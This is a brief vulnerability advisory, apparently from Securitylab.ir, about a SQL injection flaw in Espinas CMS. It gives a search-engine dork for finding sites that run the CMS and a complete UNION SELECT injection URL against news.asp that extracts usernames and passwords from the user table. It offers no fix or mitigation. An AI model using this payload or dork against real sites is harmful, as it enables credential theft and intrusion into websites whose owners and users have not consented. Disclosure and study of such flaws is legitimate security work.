Espinas CMS – SQL Injection
################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Espinas CMS # Vendor: http://espinas.ir ################################################################# # Vulnerability Info: # Type: Sql Injection # Risk: Medium # Dork: "Powered by Espinas IT" ################################################################# Vulnerability: http://site.ir/news.asp?id=-1+union+select+1,concat(username,0x3a,0x3a,password),3,4,5+from+sinabed_users -------------------------------------------------------------- ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com ################################################################### |